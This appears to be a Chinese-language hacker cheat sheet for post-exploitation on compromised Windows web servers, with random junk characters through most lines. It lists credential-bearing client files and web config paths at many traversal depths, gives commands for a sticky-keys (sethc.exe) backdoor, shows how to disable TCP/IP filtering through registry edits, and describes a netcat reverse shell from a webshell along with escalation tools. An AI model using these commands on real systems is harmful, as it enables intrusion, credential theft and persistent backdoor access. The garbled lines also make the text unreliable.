1 }: j$ l6 `$ \1 [0 E/ G: IC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
  e3 O+ b9 {+ B* R- pC:\Program Files\LeapFTP\LeapFTP.exe
  ]; u3 \9 }# Z3 C3 L: J- Vc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
. [: G: g+ s+ E, O2 O0 P; b! |c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
3 \/ h0 Z% ^+ ?( d: nc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
' s( S2 a" s  J" k" N! L7 u
2 n$ }# ^) V, \8 X1 ?( S3.网站相对路径:
. a8 l1 i9 |# a2 [6 J, {" @
/config.php
../../config.php
0 k. u5 Q$ D5 }6 N4 ?../config.php
../../../config.php
/config.inc.php
0 b: T9 O- `/ ]. S3 E./config.inc.php
) _5 N; l+ _# ^: B6 @* k: x7 @# r../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
8 m4 f1 r( j8 p. C6 f+ x$ w* k9 g./conn.php
../../conn.php
../conn.php
4 {4 {. d3 D$ V% t" [, r../../../conn.php
/conn.asp
./conn.asp
* g1 k6 Z) y, A4 Y1 U/ O, [../../conn.asp
) Q8 _) a+ y* _: i: ^5 U../conn.asp
  _. {" ]- w/ r1 h& T8 B7 Y../../../conn.asp
/config.inc.php
# A) Y$ l4 S# F) H+ g4 n./config.inc.php
2 g; V. {* {+ ~# q! _; {8 u../../config.inc.php
../config.inc.php
../../../config.inc.php
6 u3 o3 d: E. v; i: v" ^# j3 g8 g- J, }/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
! |* X0 W) l0 q7 V5 K./config/config.inc.php
( b5 I: U' H6 [../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
# p# k- |) {6 U& f/config/conn.php
4 ^$ L' w4 w& f/ _6 [' f  n./config/conn.php
../../config/conn.php
../config/conn.php
0 c1 b+ `) [2 g6 j4 @../../../config/conn.php
9 r/ X; ]( m/ A& P# C/config/conn.asp
! f' n8 ]1 J% F8 ?- ^) t) D./config/conn.asp
, V4 u) E5 F% g- {) `, o../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
6 O% |' H4 X" z. L0 m2 Y* |./config/config.inc.php
) f4 ~! P6 A  n6 Y1 N../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
3 \5 f3 X# G' L8 |, X0 X. K/data/config.php
../../data/config.php
../data/config.php
0 X" |+ j: b) o% l) c/ s../../../data/config.php
9 v6 y3 Y# E% Z/ l/data/config.inc.php
./data/config.inc.php
3 E* V% |4 `$ h9 {9 {/ e' P3 I! j../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
5 R* @8 v  U& f1 J& q- i, f/data/conn.php
4 o$ Z) z0 F. ?./data/conn.php
../../data/conn.php
( I- J- x/ m7 ?9 W../data/conn.php
* m5 q0 I/ }' q& E' U../../../data/conn.php
/data/conn.asp
/ v5 N1 B" `. \/ O7 t./data/conn.asp
/ Q3 @# q( n$ O../../data/conn.asp
/ n' i" z4 u1 s7 h( C$ f../data/conn.asp
../../../data/conn.asp
" y( G; @! C2 e+ E/data/config.inc.php
! ?1 v9 }- J. u! D; `* [: u./data/config.inc.php
. f& {$ n/ A. b8 W../../data/config.inc.php
../data/config.inc.php
4 ^9 x  e" t+ j) l../../../data/config.inc.php
4 h, R2 i$ ~. _$ v/include/config.php
../../include/config.php
../include/config.php
3 o5 a' \- V/ Q% l# N, x" I../../../include/config.php
/include/config.inc.php
./include/config.inc.php
% Y- T5 e5 S, ]9 J6 n../../include/config.inc.php
  a' J$ Z) k! D$ k; W5 w../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
9 U" j) g0 H- `1 j& L5 U7 A./include/conn.php
../../include/conn.php
' `7 X" A( A3 }, H- o../include/conn.php
../../../include/conn.php
! ~& Y: L. |/ f3 S  r/include/conn.asp
./include/conn.asp
0 {' r. @: r! L" [8 x+ @8 k../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
, j* T  l5 c( a% ], Q8 @/include/config.inc.php
: ^, I! F5 i$ @+ |6 P5 m# \./include/config.inc.php
* `+ ]9 r) Z  u+ F2 |$ @& V& t../../include/config.inc.php
/ [4 ^, z4 Q1 G  m, A6 y../include/config.inc.php
../../../include/config.inc.php
% B  ~7 j! F) p8 n+ w/inc/config.php
; K4 Q1 `# w& i  E9 p6 e../../inc/config.php
6 ^/ |( ]) U1 d$ P* p../inc/config.php
6 y7 P8 ?  I8 K. D../../../inc/config.php
/inc/config.inc.php
9 ~- y( y5 v2 s4 p& C./inc/config.inc.php
../../inc/config.inc.php
1 U% a0 ^1 O/ H7 {; \" I% j../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
- @% p1 F3 e! l../../inc/conn.php
1 u  \, `$ E& U. g../inc/conn.php
5 @1 }) B8 D# U" _' Y- r* n../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
! [" c$ C1 ^6 }; N( V2 @3 T  ~../../../inc/conn.asp
2 k- O$ r# X2 n5 d) R7 P1 N/inc/config.inc.php
8 E1 P: P. }" W# N; i7 u, a./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
$ o. s6 L- j+ c8 T5 {4 S, s../index.php
../../../index.php
/index.asp
9 S- V4 e0 K3 t6 c6 l: G./index.asp
../../index.asp
../index.asp
9 Y/ `  J" P' O# Q4 j! y../../../index.asp
替换SHIFT后门
8 y# X) k3 j  f% z( }, D/ Y4 _9 P& a+ }　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe
$ j2 c5 E  q) G% h9 e, R6 P- }
# [: O% |7 c" K( ]  y) f! ~/ G% o　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
* z  Z' e- B) Q
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

- z( T1 h4 N! s+ D1 p# T( Y. W　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
4 C) `* L, f2 k" v6 iTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
! l4 ^$ k% p$ P- D+ fHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
5 Y  r1 A. ?- ~% ]- A. m( c% YHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
8 s& }: c+ m7 ~% C
分别用
* S# j3 F; o/ N3 `regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
% ?2 o0 p+ |; ^7 I. E& E( s. r' q! `regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

- g# W) P  _; G- n然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
regedit -s D:\a.reg
9 ^7 n/ Y- {" X1 W8 |regedit -s D:\b.reg
regedit -s D:\c.reg
  J% u" O- n: \& |' Y导入注册表即可

webshell提权小技巧
! e5 B- ^9 `) G$ @( Pcmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
9 X% K) J" @6 j% l; F2 x. y% M4 l; g例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
- l" A5 u7 q- X/ s通常都不会成功。
8 S, f2 q, P9 l0 D$ `
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
% T% {# z1 R- }3 y命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
4 z4 R) d6 K6 m+ s却能成功。。
' g" M8 H8 c! t7 m4 G$ j这个不是重点
  X+ F& I- B. i6 D# Z我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功